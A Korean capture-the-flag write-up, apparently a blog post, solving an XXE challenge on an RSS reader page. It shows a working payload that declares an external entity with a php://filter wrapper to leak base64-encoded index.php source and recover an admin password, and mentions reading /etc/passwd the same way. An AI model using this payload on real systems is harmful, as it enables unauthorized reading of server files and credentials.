RSS 링크(XML 파일)를 입력받는 RSS 리더 페이지와
로그인 페이지가 주어진다.
로그인 페이지에서는 관리자 비밀번호를 입력해야지 접근가능하다.
XXE(XML eXternal Entities) 공격은 외부의 엔티티를 삽입하는 공격이다.
필요한 선행지식은 다음 포스팅을 참고하자.
https://velog.io/@woounnan/WEB-XML-Schema
RSS는 간단히 다양한 최신 소식을 한 곳에서 확인하기 위해 만들어진 방법이라고 한다.
이용을 위해선 정해진 RSS 규격의 XML 문서를 작성해야 한다.
https://ko.wikipedia.org/wiki/RSS
<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0"> <channel> <title>제목</title> <link>주소/</link> <description>설명 (짤막하게)</description> <item> <title>제목</title> <link>주소/글 주소</link> <description>글 내용 전체(또는 일부)</description> <pubDate>시간</pubDate> <guid>주소/글 주소</guid> </item> </channel> </rss>
외부 엔티티를 불러올 때, 꼭 외부엔티티가 담긴 dtd
파일이 아닌 /etc/passwd
같은 파일도 가능하며, wrapper를 사용할 수도 있다.
문제를 보면 index.php
에 로그인 기능이 존재하며, 이 기능을 패스하는 것이 우리의 목표이다.
관리자 패스워드를 확인하기 위해서, 외부 엔티티를 가져오는 구문을 사용해서 index.php
의 내용을 불러오자.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE woou [
<!ELEMENT woouLove ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<rss version="2.0">
불러온 엔티티(index.php
코드)를 페이지에 출력시키기 위해, 원하는 지점에 불러온 엔티티를 삽입하자.
<item>
<title>&xxe;</title>
<link>주소/글 주소</link>
앞서 만든 XML 파일을 문제페이지에 로드시키면
base64 인코딩된 index.php
코드가 출력된다.
이 값을 디코딩 시켜서 관리자 패스워드를 획득할 수 있게 된다.
: XXE공격의 정의와 간단한 공격 종류를 살펴볼 수 있다.